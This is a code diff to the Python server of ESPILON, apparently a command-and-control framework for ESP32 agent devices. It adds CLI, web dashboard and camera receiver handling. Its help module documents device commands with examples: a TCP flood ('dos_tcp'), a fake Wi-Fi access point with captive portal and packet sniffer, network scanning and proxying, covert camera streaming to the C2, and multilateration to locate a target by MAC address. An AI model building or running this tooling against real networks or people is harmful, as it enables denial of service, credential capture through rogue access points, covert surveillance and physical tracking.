from utils.display import Display # Import Display utility
|
||||
from utils.display import Display
|
||||
|
||||
# Strict base64 validation (ESP sends BASE64 + '\n')
|
||||
BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$')
|
||||
|
||||
RX_BUF_SIZE = 4096
|
||||
DEVICE_TIMEOUT_SECONDS = 60 # Devices are considered inactive after 60 seconds without a heartbeat
|
||||
DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat
|
||||
HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds
|
||||
|
||||
|
||||
@ -81,34 +83,27 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
|
||||
# Main server
|
||||
# ============================================================
|
||||
def main():
|
||||
# Parse arguments
|
||||
parser = argparse.ArgumentParser(description="C3PO - ESPILON C2 Framework")
|
||||
parser.add_argument("--tui", action="store_true", help="Launch with TUI interface")
|
||||
args = parser.parse_args()
|
||||
|
||||
header = """
|
||||
|
||||
$$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
|
||||
|
||||
$$$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\
|
||||
$$ _____|$$ __$$\ $$ __$$\\_$$ _|$$ | $$ __$$\ $$$\ $$ | $$ __$$\ $$ __$$\
|
||||
$$ | $$ / \__|$$ | $$ | $$ | $$ | $$ / $$ |$$$$\ $$ | $$ / \__|\__/ $$ |
|
||||
$$$$$\ \$$$$$$\ $$$$$$$ | $$ | $$ | $$ | $$ |$$ $$\$$ | $$ | $$$$$$ |
|
||||
$$ __| \____$$\ $$ ____/ $$ | $$ | $$ | $$ |$$ \$$$$ | $$ | $$ ____/
|
||||
$$ | $$\ $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$$ | $$ | $$\ $$ |
|
||||
$$$$$$$$\ \$$$$$$ |$$ | $$$$$$\ $$$$$$$$\ $$$$$$ |$$ | \$$ | \$$$$$$ |$$$$$$$$\
|
||||
\________| \______/ \__| \______|\________|\______/ \__| \__| \______/ \________|
|
||||
|
||||
|
||||
|
||||
$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\
|
||||
$$ __$$\ $$ ___$$\ $$ __$$\ $$ __$$\
|
||||
$$ / \__|\_/ $$ |$$ | $$ |$$ / $$ |
|
||||
$$ | $$$$$ / $$$$$$$ |$$ | $$ |
|
||||
$$ | \___$$\ $$ ____/ $$ | $$ |
|
||||
$$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
||||
\$$$$$$ |\$$$$$$ |$$ | $$$$$$ |
|
||||
\______/ \______/ \__| \______/
|
||||
$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\\
|
||||
$$ __$$\\ $$ ___$$\\ $$ __$$\\ $$ __$$\\
|
||||
$$ / \\__|\_/ $$ |$$ | $$ |$$ / $$ |
|
||||
$$ | $$$$$ / $$$$$$$ |$$ | $$ |
|
||||
$$ | \\___$$\\ $$ ____/ $$ | $$ |
|
||||
$$ | $$\\ $$\\ $$ |$$ | $$ | $$ |
|
||||
\\$$$$$$ |\\$$$$$$ |$$ | $$$$$$ |
|
||||
\\______/ \\______/ \\__| \\______/
|
||||
|
||||
ESPILON C2 Framework - Command and Control Server
|
||||
"""
|
||||
Display.system_message(header)
|
||||
Display.system_message("Initializing ESPILON C2 core...")
|
||||
|
||||
if not args.tui:
|
||||
Display.system_message(header)
|
||||
Display.system_message("Initializing ESPILON C2 core...")
|
||||
|
||||
# ============================
|
||||
# Core components
|
||||
@ -143,7 +138,9 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
||||
sys.exit(1)
|
||||
|
||||
server.listen()
|
||||
Display.system_message(f"Server listening on {HOST}:{PORT}")
|
||||
|
||||
if not args.tui:
|
||||
Display.system_message(f"Server listening on {HOST}:{PORT}")
|
||||
|
||||
# Function to periodically check device status
|
||||
def device_status_checker():
|
||||
@ -155,30 +152,51 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
||||
device.status = "Inactive"
|
||||
Display.device_event(device.id, "Status changed to Inactive (timeout)")
|
||||
elif device.status == "Inactive" and now - device.last_seen <= DEVICE_TIMEOUT_SECONDS:
|
||||
# If a device that was inactive sends a heartbeat, set it back to Connected
|
||||
device.status = "Connected"
|
||||
Display.device_event(device.id, "Status changed to Connected (heartbeat received)")
|
||||
time.sleep(HEARTBEAT_CHECK_INTERVAL)
|
||||
|
||||
# CLI thread
|
||||
threading.Thread(target=cli.loop, daemon=True).start()
|
||||
# Function to accept client connections
|
||||
def accept_loop():
|
||||
while True:
|
||||
try:
|
||||
sock, addr = server.accept()
|
||||
threading.Thread(
|
||||
target=client_thread,
|
||||
args=(sock, addr, transport, registry),
|
||||
daemon=True
|
||||
).start()
|
||||
except OSError:
|
||||
break
|
||||
except Exception as e:
|
||||
Display.error(f"Server error: {e}")
|
||||
|
||||
# Device status checker thread
|
||||
threading.Thread(target=device_status_checker, daemon=True).start()
|
||||
# Accept loop thread
|
||||
threading.Thread(target=accept_loop, daemon=True).start()
|
||||
|
||||
# Accept loop
|
||||
while True:
|
||||
# ============================
|
||||
# TUI or CLI mode
|
||||
# ============================
|
||||
if args.tui:
|
||||
try:
|
||||
sock, addr = server.accept()
|
||||
threading.Thread(
|
||||
target=client_thread,
|
||||
args=(sock, addr, transport, registry), # Pass registry to client_thread
|
||||
daemon=True
|
||||
).start()
|
||||
from tui.app import C3POApp
|
||||
Display.enable_tui_mode()
|
||||
app = C3POApp(registry=registry, cli=cli)
|
||||
app.run()
|
||||
except ImportError as e:
|
||||
Display.error(f"TUI not available: {e}")
|
||||
Display.error("Install textual: pip install textual")
|
||||
sys.exit(1)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
else:
|
||||
# Classic CLI mode
|
||||
try:
|
||||
cli.loop()
|
||||
except KeyboardInterrupt:
|
||||
Display.system_message("Shutdown requested. Exiting...")
|
||||
break
|
||||
except Exception as e:
|
||||
Display.error(f"Server error: {e}")
|
||||
|
||||
server.close()
|
||||
|
||||
|
||||
@ -1,11 +1,16 @@
|
||||
import readline
|
||||
import os
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from utils.display import Display
|
||||
from cli.help import HelpManager
|
||||
from core.transport import Transport
|
||||
from proto.c2_pb2 import Command
|
||||
from streams.udp_receiver import UDPReceiver
|
||||
from streams.config import UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN
|
||||
from web.server import UnifiedWebServer
|
||||
from web.mlat import MlatEngine
|
||||
|
||||
DEV_MODE = True
|
||||
|
||||
@ -17,7 +22,12 @@ class CLI:
|
||||
self.groups = groups
|
||||
self.transport = transport
|
||||
self.help_manager = HelpManager(commands, DEV_MODE)
|
||||
self.active_commands = {} # {request_id: {"device_id": ..., "command_name": ..., "start_time": ..., "status": "running"}}
|
||||
self.active_commands = {} # {request_id: {"device_id": ..., "command_name": ..., "start_time": ..., "status": "running"}}
|
||||
|
||||
# Separate server instances
|
||||
self.web_server: Optional[UnifiedWebServer] = None
|
||||
self.udp_receiver: Optional[UDPReceiver] = None
|
||||
self.mlat_engine = MlatEngine()
|
||||
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer(self._complete)
|
||||
@ -31,7 +41,7 @@ class CLI:
|
||||
options = []
|
||||
|
||||
if len(parts) == 1:
|
||||
options = ["send", "list", "group", "help", "clear", "exit", "active_commands"]
|
||||
options = ["send", "list", "modules", "group", "help", "clear", "exit", "active_commands", "web", "camera"]
|
||||
|
||||
elif parts[0] == "send":
|
||||
if len(parts) == 2: # Completing target (device ID, 'all', 'group')
|
||||
@ -40,7 +50,14 @@ class CLI:
|
||||
options = list(self.groups.all_groups().keys())
|
||||
elif (len(parts) == 3 and parts[1] != "group") or (len(parts) == 4 and parts[1] == "group"): # Completing command name
|
||||
options = self.commands.list()
|
||||
# Add more logic here if commands have arguments that can be tab-completed
|
||||
|
||||
elif parts[0] == "web":
|
||||
if len(parts) == 2:
|
||||
options = ["start", "stop", "status"]
|
||||
|
||||
elif parts[0] == "camera":
|
||||
if len(parts) == 2:
|
||||
options = ["start", "stop", "status"]
|
||||
|
||||
elif parts[0] == "group":
|
||||
if len(parts) == 2: # Completing group action
|
||||
@ -68,37 +85,59 @@ class CLI:
|
||||
if not cmd:
|
||||
continue
|
||||
|
||||
parts = cmd.split()
|
||||
action = parts[0]
|
||||
|
||||
if action == "help":
|
||||
self.help_manager.show(parts[1:])
|
||||
continue
|
||||
|
||||
if action == "exit":
|
||||
if cmd == "exit":
|
||||
return
|
||||
|
||||
if action == "clear":
|
||||
os.system("cls" if os.name == "nt" else "clear")
|
||||
continue
|
||||
self.execute_command(cmd)
|
||||
|
||||
if action == "list":
|
||||
self._handle_list()
|
||||
continue
|
||||
def execute_command(self, cmd: str):
|
||||
"""Execute a command string. Used by both CLI loop and TUI."""
|
||||
if not cmd:
|
||||
return
|
||||
|
||||
if action == "group":
|
||||
self._handle_group(parts[1:])
|
||||
continue
|
||||
parts = cmd.split()
|
||||
action = parts[0]
|
||||
|
||||
if action == "send":
|
||||
self._handle_send(parts)
|
||||
continue
|
||||
|
||||
if action == "active_commands":
|
||||
self._handle_active_commands()
|
||||
continue
|
||||
if action == "help":
|
||||
self.help_manager.show(parts[1:])
|
||||
return
|
||||
|
||||
Display.error("Unknown command")
|
||||
if action == "exit":
|
||||
return
|
||||
|
||||
if action == "clear":
|
||||
os.system("cls" if os.name == "nt" else "clear")
|
||||
return
|
||||
|
||||
if action == "list":
|
||||
self._handle_list()
|
||||
return
|
||||
|
||||
if action == "modules":
|
||||
self.help_manager.show_modules()
|
||||
return
|
||||
|
||||
if action == "group":
|
||||
self._handle_group(parts[1:])
|
||||
return
|
||||
|
||||
if action == "send":
|
||||
self._handle_send(parts)
|
||||
return
|
||||
|
||||
if action == "active_commands":
|
||||
self._handle_active_commands()
|
||||
return
|
||||
|
||||
if action == "web":
|
||||
self._handle_web(parts[1:])
|
||||
return
|
||||
|
||||
if action == "camera":
|
||||
self._handle_camera(parts[1:])
|
||||
return
|
||||
|
||||
Display.error("Unknown command")
|
||||
|
||||
# ================= HANDLERS =================
|
||||
|
||||
@ -287,3 +326,119 @@ class CLI:
|
||||
cmd_info["status"],
|
||||
elapsed_time
|
||||
])
|
||||
|
||||
def _handle_web(self, parts):
|
||||
"""Handle web server commands (frontend + multilateration API)."""
|
||||
if not parts:
|
||||
Display.error("Usage: web <start|stop|status>")
|
||||
return
|
||||
|
||||
cmd = parts[0]
|
||||
|
||||
if cmd == "start":
|
||||
if self.web_server and self.web_server.is_running:
|
||||
Display.system_message("Web server is already running.")
|
||||
return
|
||||
|
||||
self.web_server = UnifiedWebServer(
|
||||
device_registry=self.registry,
|
||||
mlat_engine=self.mlat_engine,
|
||||
multilat_token=MULTILAT_AUTH_TOKEN,
|
||||
camera_receiver=self.udp_receiver
|
||||
)
|
||||
|
||||
if self.web_server.start():
|
||||
Display.system_message(f"Web server started at {self.web_server.get_url()}")
|
||||
else:
|
||||
Display.error("Web server failed to start")
|
||||
|
||||
elif cmd == "stop":
|
||||
if not self.web_server or not self.web_server.is_running:
|
||||
Display.system_message("Web server is not running.")
|
||||
return
|
||||
|
||||
self.web_server.stop()
|
||||
Display.system_message("Web server stopped.")
|
||||
self.web_server = None
|
||||
|
||||
elif cmd == "status":
|
||||
Display.system_message("Web Server Status:")
|
||||
if self.web_server and self.web_server.is_running:
|
||||
Display.system_message(f" Status: Running")
|
||||
Display.system_message(f" URL: {self.web_server.get_url()}")
|
||||
else:
|
||||
Display.system_message(f" Status: Stopped")
|
||||
|
||||
# MLAT stats
|
||||
Display.system_message("MLAT Engine:")
|
||||
state = self.mlat_engine.get_state()
|
||||
Display.system_message(f" Mode: {state.get('coord_mode', 'gps').upper()}")
|
||||
Display.system_message(f" Scanners: {state['scanners_count']}")
|
||||
if state['target']:
|
||||
pos = state['target']['position']
|
||||
if 'lat' in pos:
|
||||
Display.system_message(f" Target: ({pos['lat']:.6f}, {pos['lon']:.6f})")
|
||||
else:
|
||||
Display.system_message(f" Target: ({pos['x']:.2f}m, {pos['y']:.2f}m)")
|
||||
else:
|
||||
Display.system_message(f" Target: Not calculated")
|
||||
|
||||
else:
|
||||
Display.error("Invalid web command. Use: start, stop, status")
|
||||
|
||||
def _handle_camera(self, parts):
|
||||
"""Handle camera UDP receiver commands."""
|
||||
if not parts:
|
||||
Display.error("Usage: camera <start|stop|status>")
|
||||
return
|
||||
|
||||
cmd = parts[0]
|
||||
|
||||
if cmd == "start":
|
||||
if self.udp_receiver and self.udp_receiver.is_running:
|
||||
Display.system_message("Camera UDP receiver is already running.")
|
||||
return
|
||||
|
||||
self.udp_receiver = UDPReceiver(
|
||||
host=UDP_HOST,
|
||||
port=UDP_PORT,
|
||||
image_dir=IMAGE_DIR,
|
||||
device_registry=self.registry
|
||||
)
|
||||
|
||||
if self.udp_receiver.start():
|
||||
Display.system_message(f"Camera UDP receiver started on {UDP_HOST}:{UDP_PORT}")
|
||||
# Update web server if running
|
||||
if self.web_server and self.web_server.is_running:
|
||||
self.web_server.set_camera_receiver(self.udp_receiver)
|
||||
Display.system_message("Web server updated with camera receiver")
|
||||
else:
|
||||
Display.error("Camera UDP receiver failed to start")
|
||||
|
||||
elif cmd == "stop":
|
||||
if not self.udp_receiver or not self.udp_receiver.is_running:
|
||||
Display.system_message("Camera UDP receiver is not running.")
|
||||
return
|
||||
|
||||
self.udp_receiver.stop()
|
||||
Display.system_message("Camera UDP receiver stopped.")
|
||||
self.udp_receiver = None
|
||||
# Update web server
|
||||
if self.web_server and self.web_server.is_running:
|
||||
self.web_server.set_camera_receiver(None)
|
||||
|
||||
elif cmd == "status":
|
||||
Display.system_message("Camera UDP Receiver Status:")
|
||||
if self.udp_receiver and self.udp_receiver.is_running:
|
||||
stats = self.udp_receiver.get_stats()
|
||||
Display.system_message(f" Status: Running on {UDP_HOST}:{UDP_PORT}")
|
||||
Display.system_message(f" Packets received: {stats['packets_received']}")
|
||||
Display.system_message(f" Frames decoded: {stats['frames_received']}")
|
||||
Display.system_message(f" Decode errors: {stats['decode_errors']}")
|
||||
Display.system_message(f" Invalid tokens: {stats['invalid_tokens']}")
|
||||
Display.system_message(f" Active cameras: {stats['active_cameras']}")
|
||||
else:
|
||||
Display.system_message(f" Status: Stopped")
|
||||
|
||||
else:
|
||||
Display.error("Invalid camera command. Use: start, stop, status")
|
||||
|
||||
@ -1,78 +1,295 @@
|
||||
from utils.display import Display
|
||||
|
||||
|
||||
# ESP32 Commands organized by module (matches Kconfig modules)
|
||||
ESP_MODULES = {
|
||||
"system": {
|
||||
"description": "Core system commands",
|
||||
"commands": {
|
||||
"system_reboot": "Reboot the ESP32 device",
|
||||
"system_mem": "Get memory info (heap, internal)",
|
||||
"system_uptime": "Get device uptime",
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"description": "Network tools",
|
||||
"commands": {
|
||||
"ping": "Ping a host (ping <host>)",
|
||||
"arp_scan": "ARP scan the local network",
|
||||
"proxy_start": "Start TCP proxy (proxy_start <ip> <port>)",
|
||||
"proxy_stop": "Stop TCP proxy",
|
||||
"dos_tcp": "TCP flood (dos_tcp <ip> <port> <count>)",
|
||||
}
|
||||
},
|
||||
"fakeap": {
|
||||
"description": "Fake Access Point module",
|
||||
"commands": {
|
||||
"fakeap_start": "Start fake AP (fakeap_start <ssid> [open|wpa2] [pass])",
|
||||
"fakeap_stop": "Stop fake AP",
|
||||
"fakeap_status": "Show fake AP status",
|
||||
"fakeap_clients": "List connected clients",
|
||||
"fakeap_portal_start": "Start captive portal",
|
||||
"fakeap_portal_stop": "Stop captive portal",
|
||||
"fakeap_sniffer_on": "Enable packet sniffer",
|
||||
"fakeap_sniffer_off": "Disable packet sniffer",
|
||||
}
|
||||
},
|
||||
"recon": {
|
||||
"description": "Reconnaissance module (Camera + MLAT)",
|
||||
"commands": {
|
||||
"cam_start": "Start camera streaming (cam_start <ip> <port>)",
|
||||
"cam_stop": "Stop camera streaming",
|
||||
"mlat config": "Set position (mlat config [gps|local] <c1> <c2>)",
|
||||
"mlat mode": "Set scan mode (mlat mode <ble|wifi>)",
|
||||
"mlat start": "Start MLAT scanning (mlat start <mac>)",
|
||||
"mlat stop": "Stop MLAT scanning",
|
||||
"mlat status": "Show MLAT status",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class HelpManager:
|
||||
def __init__(self, command_registry, dev_mode: bool = False):
|
||||
self.commands = command_registry
|
||||
self.dev_mode = dev_mode
|
||||
|
||||
def _out(self, text: str):
|
||||
"""Output helper that works in both CLI and TUI mode."""
|
||||
Display.system_message(text)
|
||||
|
||||
def show(self, args: list[str]):
|
||||
if args:
|
||||
self._show_command_help(args[0])
|
||||
else:
|
||||
self._show_global_help()
|
||||
|
||||
def _show_global_help(self):
|
||||
Display.system_message("=== ESPILON C2 HELP ===")
|
||||
print("\nCLI Commands:")
|
||||
print(" help [command] Show this help or help for a specific command")
|
||||
print(" list List connected ESP devices")
|
||||
print(" send <target> Send a command to ESP device(s)")
|
||||
print(" group <action> Manage ESP device groups (add, remove, list, show)")
|
||||
print(" active_commands List all currently running commands")
|
||||
print(" clear Clear the terminal screen")
|
||||
print(" exit Exit the C2 application")
|
||||
def show_modules(self):
|
||||
"""Show ESP commands organized by module."""
|
||||
self._out("=== ESP32 COMMANDS BY MODULE ===")
|
||||
self._out("")
|
||||
|
||||
print("\nESP Commands (available to send to devices):")
|
||||
for name in self.commands.list():
|
||||
handler = self.commands.get(name)
|
||||
print(f" {name:<15} {handler.description}")
|
||||
for module_name, module_info in ESP_MODULES.items():
|
||||
self._out(f"[{module_name.upper()}] - {module_info['description']}")
|
||||
for cmd_name, cmd_desc in module_info["commands"].items():
|
||||
self._out(f" {cmd_name:<20} {cmd_desc}")
|
||||
self._out("")
|
||||
|
||||
self._out("Use 'help <command>' for detailed help on a specific command.")
|
||||
self._out("Send commands with: send <device_id|all> <command> [args...]")
|
||||
|
||||
def _show_global_help(self):
|
||||
self._out("=== ESPILON C2 HELP ===")
|
||||
self._out("")
|
||||
self._out("C2 Commands:")
|
||||
self._out(" help [command] Show help or help for a specific command")
|
||||
self._out(" list List connected ESP devices")
|
||||
self._out(" modules List ESP commands organized by module")
|
||||
self._out(" send <target> <cmd> Send a command to ESP device(s)")
|
||||
self._out(" group <action> Manage device groups (add, remove, list, show)")
|
||||
self._out(" active_commands List currently running commands")
|
||||
self._out(" clear Clear terminal screen")
|
||||
self._out(" exit Exit C2")
|
||||
self._out("")
|
||||
self._out("Server Commands:")
|
||||
self._out(" web start|stop|status Web dashboard server")
|
||||
self._out(" camera start|stop|status Camera UDP receiver")
|
||||
self._out("")
|
||||
self._out("ESP Commands: (use 'modules' for detailed list)")
|
||||
|
||||
registered_cmds = self.commands.list()
|
||||
if registered_cmds:
|
||||
for name in registered_cmds:
|
||||
handler = self.commands.get(name)
|
||||
self._out(f" {name:<15} {handler.description}")
|
||||
else:
|
||||
self._out(" (no registered commands - use 'send' with any ESP command)")
|
||||
|
||||
if self.dev_mode:
|
||||
Display.system_message("\nDEV MODE ENABLED:")
|
||||
print(" You can send arbitrary text commands: send <target> <any text>")
|
||||
self._out("")
|
||||
self._out("DEV MODE: Send arbitrary text: send <target> <any text>")
|
||||
|
||||
def _show_command_help(self, command_name: str):
|
||||
# CLI Commands
|
||||
if command_name == "list":
|
||||
Display.system_message("Help for 'list' command:")
|
||||
print(" Usage: list")
|
||||
print(" Description: Displays a table of all currently connected ESP devices,")
|
||||
print(" including their ID, IP address, connection duration, and last seen timestamp.")
|
||||
self._out("Help for 'list' command:")
|
||||
self._out(" Usage: list")
|
||||
self._out(" Description: Displays all connected ESP devices with ID, IP, status,")
|
||||
self._out(" connection duration, and last seen timestamp.")
|
||||
|
||||
elif command_name == "send":
|
||||
Display.system_message("Help for 'send' command:")
|
||||
print(" Usage: send <device_id|all|group <group_name>> <command_name> [args...]")
|
||||
print(" Description: Sends a command to one or more ESP devices.")
|
||||
print(" Examples:")
|
||||
print(" send 1234567890 reboot")
|
||||
print(" send all get_status")
|
||||
print(" send group my_group ping 8.8.8.8")
|
||||
self._out("Help for 'send' command:")
|
||||
self._out(" Usage: send <device_id|all|group <name>> <command> [args...]")
|
||||
self._out(" Description: Sends a command to one or more ESP devices.")
|
||||
self._out(" Examples:")
|
||||
self._out(" send ESP_ABC123 reboot")
|
||||
self._out(" send all wifi status")
|
||||
self._out(" send group scanners mlat start AA:BB:CC:DD:EE:FF")
|
||||
|
||||
elif command_name == "group":
|
||||
Display.system_message("Help for 'group' command:")
|
||||
print(" Usage: group <action> [args...]")
|
||||
print(" Actions:")
|
||||
print(" add <group_name> <device_id1> [device_id2...] - Add devices to a group.")
|
||||
print(" remove <group_name> <device_id1> [device_id2...] - Remove devices from a group.")
|
||||
print(" list - List all defined groups and their members.")
|
||||
print(" show <group_name> - Show members of a specific group.")
|
||||
print(" Examples:")
|
||||
print(" group add my_group 1234567890 ABCDEF1234")
|
||||
print(" group remove my_group 1234567890")
|
||||
print(" group list")
|
||||
print(" group show my_group")
|
||||
elif command_name in ["clear", "exit"]:
|
||||
Display.system_message(f"Help for '{command_name}' command:")
|
||||
print(f" Usage: {command_name}")
|
||||
print(f" Description: {command_name.capitalize()}s the terminal screen." if command_name == "clear" else f" Description: {command_name.capitalize()}s the C2 application.")
|
||||
self._out("Help for 'group' command:")
|
||||
self._out(" Usage: group <action> [args...]")
|
||||
self._out(" Actions:")
|
||||
self._out(" add <name> <id1> [id2...] Add devices to a group")
|
||||
self._out(" remove <name> <id1> [id2...] Remove devices from a group")
|
||||
self._out(" list List all groups")
|
||||
self._out(" show <name> Show group members")
|
||||
|
||||
elif command_name == "web":
|
||||
self._out("Help for 'web' command:")
|
||||
self._out(" Usage: web <start|stop|status>")
|
||||
self._out(" Description: Control the web dashboard server.")
|
||||
self._out(" Actions:")
|
||||
self._out(" start Start the web server (dashboard, cameras, MLAT)")
|
||||
self._out(" stop Stop the web server")
|
||||
self._out(" status Show server status and MLAT engine info")
|
||||
self._out(" Default URL: http://127.0.0.1:5000")
|
||||
|
||||
elif command_name == "camera":
|
||||
self._out("Help for 'camera' command:")
|
||||
self._out(" Usage: camera <start|stop|status>")
|
||||
self._out(" Description: Control the camera UDP receiver.")
|
||||
self._out(" Actions:")
|
||||
self._out(" start Start UDP receiver for camera frames")
|
||||
self._out(" stop Stop UDP receiver")
|
||||
self._out(" status Show receiver stats (packets, frames, errors)")
|
||||
self._out(" Default port: 12345")
|
||||
|
||||
elif command_name == "modules":
|
||||
self._out("Help for 'modules' command:")
|
||||
self._out(" Usage: modules")
|
||||
self._out(" Description: List all ESP32 commands organized by module.")
|
||||
self._out(" Modules: system, network, fakeap, recon")
|
||||
|
||||
elif command_name in ["clear", "exit", "active_commands"]:
|
||||
self._out(f"Help for '{command_name}' command:")
|
||||
self._out(f" Usage: {command_name}")
|
||||
descs = {
|
||||
"clear": "Clear the terminal screen",
|
||||
"exit": "Exit the C2 application",
|
||||
"active_commands": "Show all commands currently being executed"
|
||||
}
|
||||
self._out(f" Description: {descs.get(command_name, '')}")
|
||||
|
||||
# ESP Commands (by module or registered)
|
||||
else:
|
||||
# Check if it's an ESP command
|
||||
# Check in modules first
|
||||
for module_name, module_info in ESP_MODULES.items():
|
||||
if command_name in module_info["commands"]:
|
||||
self._out(f"ESP Command '{command_name}' [{module_name.upper()}]:")
|
||||
self._out(f" Description: {module_info['commands'][command_name]}")
|
||||
self._show_esp_command_detail(command_name)
|
||||
return
|
||||
|
||||
# Check registered commands
|
||||
handler = self.commands.get(command_name)
|
||||
if handler:
|
||||
Display.system_message(f"Help for ESP Command '{command_name}':")
|
||||
print(f" Description: {handler.description}")
|
||||
# Assuming ESP commands might have a usage string or more detailed help
|
||||
self._out(f"ESP Command '{command_name}':")
|
||||
self._out(f" Description: {handler.description}")
|
||||
if hasattr(handler, 'usage'):
|
||||
print(f" Usage: {handler.usage}")
|
||||
if hasattr(handler, 'long_description'):
|
||||
print(f" Details: {handler.long_description}")
|
||||
self._out(f" Usage: {handler.usage}")
|
||||
else:
|
||||
Display.error(f"No help available for command '{command_name}'.")
|
||||
Display.error(f"No help available for '{command_name}'.")
|
||||
|
||||
def _show_esp_command_detail(self, cmd: str):
|
||||
"""Show detailed help for specific ESP commands."""
|
||||
details = {
|
||||
# MLAT subcommands
|
||||
"mlat config": [
|
||||
" Usage: send <device> mlat config [gps|local] <coord1> <coord2>",
|
||||
" GPS mode: mlat config gps <lat> <lon> - degrees",
|
||||
" Local mode: mlat config local <x> <y> - meters",
|
||||
" Examples:",
|
||||
" send ESP1 mlat config gps 48.8566 2.3522",
|
||||
" send ESP1 mlat config local 10.0 5.5",
|
||||
],
|
||||
"mlat mode": [
|
||||
" Usage: send <device> mlat mode <ble|wifi>",
|
||||
" Example: send ESP1 mlat mode ble",
|
||||
],
|
||||
"mlat start": [
|
||||
" Usage: send <device> mlat start <mac>",
|
||||
" Example: send ESP1 mlat start AA:BB:CC:DD:EE:FF",
|
||||
],
|
||||
"mlat stop": [
|
||||
" Usage: send <device> mlat stop",
|
||||
],
|
||||
"mlat status": [
|
||||
" Usage: send <device> mlat status",
|
||||
],
|
||||
"cam_start": [
|
||||
" Usage: send <device> cam_start <ip> <port>",
|
||||
" Description: Start camera streaming to C2 UDP receiver",
|
||||
" Example: send ESP_CAM cam_start 192.168.1.100 12345",
|
||||
],
|
||||
"cam_stop": [
|
||||
" Usage: send <device> cam_stop",
|
||||
" Description: Stop camera streaming",
|
||||
],
|
||||
"fakeap_start": [
|
||||
" Usage: send <device> fakeap_start <ssid> [open|wpa2] [password]",
|
||||
" Examples:",
|
||||
" send ESP1 fakeap_start FreeWiFi",
|
||||
" send ESP1 fakeap_start SecureNet wpa2 mypassword",
|
||||
],
|
||||
"fakeap_stop": [
|
||||
" Usage: send <device> fakeap_stop",
|
||||
],
|
||||
"fakeap_status": [
|
||||
" Usage: send <device> fakeap_status",
|
||||
" Shows: AP running, portal status, sniffer status, client count",
|
||||
],
|
||||
"fakeap_clients": [
|
||||
" Usage: send <device> fakeap_clients",
|
||||
" Lists all connected clients to the fake AP",
|
||||
],
|
||||
"fakeap_portal_start": [
|
||||
" Usage: send <device> fakeap_portal_start",
|
||||
" Description: Enable captive portal (requires fakeap running)",
|
||||
],
|
||||
"fakeap_portal_stop": [
|
||||
" Usage: send <device> fakeap_portal_stop",
|
||||
],
|
||||
"fakeap_sniffer_on": [
|
||||
" Usage: send <device> fakeap_sniffer_on",
|
||||
" Description: Enable packet sniffing",
|
||||
],
|
||||
"fakeap_sniffer_off": [
|
||||
" Usage: send <device> fakeap_sniffer_off",
|
||||
],
|
||||
"ping": [
|
||||
" Usage: send <device> ping <host>",
|
||||
" Example: send ESP1 ping 8.8.8.8",
|
||||
],
|
||||
"arp_scan": [
|
||||
" Usage: send <device> arp_scan",
|
||||
" Description: Scan local network for hosts",
|
||||
],
|
||||
"proxy_start": [
|
||||
" Usage: send <device> proxy_start <ip> <port>",
|
||||
" Example: send ESP1 proxy_start 192.168.1.100 8080",
|
||||
],
|
||||
"proxy_stop": [
|
||||
" Usage: send <device> proxy_stop",
|
||||
],
|
||||
"dos_tcp": [
|
||||
" Usage: send <device> dos_tcp <ip> <port> <count>",
|
||||
" Example: send ESP1 dos_tcp 192.168.1.100 80 1000",
|
||||
],
|
||||
"system_reboot": [
|
||||
" Usage: send <device> system_reboot",
|
||||
" Description: Reboot the ESP32 device",
|
||||
],
|
||||
"system_mem": [
|
||||
" Usage: send <device> system_mem",
|
||||
" Shows: heap_free, heap_min, internal_free",
|
||||
],
|
||||
"system_uptime": [
|
||||
" Usage: send <device> system_uptime",
|
||||
" Shows: uptime in days/hours/minutes/seconds",
|
||||
],
|
||||
}
|
||||
|
||||
if cmd in details:
|
||||
for line in details[cmd]:
|
||||
self._out(line)
|
||||
|
||||
@ -14,7 +14,11 @@ class Device:
|
||||
|
||||
connected_at: float = field(default_factory=time.time)
|
||||
last_seen: float = field(default_factory=time.time)
|
||||
status: str = "Connected" # New status field
|
||||
status: str = "Connected"
|
||||
|
||||
# System info (populated by auto system_info query)
|
||||
chip: str = ""
|
||||
modules: str = ""
|
||||
|
||||
def touch(self):
|
||||
"""
|
||||
|
||||
@ -1,7 +1,7 @@
|
||||
from core.crypto import CryptoContext
|
||||
from core.device import Device
|
||||
from core.registry import DeviceRegistry
|
||||
from logging.manager import LogManager
|
||||
from log.manager import LogManager
|
||||
from utils.display import Display
|
||||
|
||||
from proto.c2_pb2 import Command, AgentMessage, AgentMsgType
|
||||
@ -64,6 +64,7 @@ class Transport:
|
||||
# ==================================================
|
||||
def _dispatch(self, sock, addr, msg: AgentMessage):
|
||||
device = self.registry.get(msg.device_id)
|
||||
is_new_device = False
|
||||
|
||||
if not device:
|
||||
device = Device(
|
||||
@ -73,11 +74,63 @@ class Transport:
|
||||
)
|
||||
self.registry.add(device)
|
||||
Display.device_event(device.id, f"Connected from {addr[0]}")
|
||||
is_new_device = True
|
||||
else:
|
||||
# Device reconnected with new socket - update connection info
|
||||
if device.sock != sock:
|
||||
try:
|
||||
device.sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
device.sock = sock
|
||||
device.address = addr
|
||||
Display.device_event(device.id, f"Reconnected from {addr[0]}:{addr[1]}")
|
||||
device.touch()
|
||||
|
||||
self._handle_agent_message(device, msg)
|
||||
|
||||
# Auto-query system_info on new device connection
|
||||
if is_new_device:
|
||||
self._auto_query_system_info(device)
|
||||
|
||||
def _auto_query_system_info(self, device: Device):
|
||||
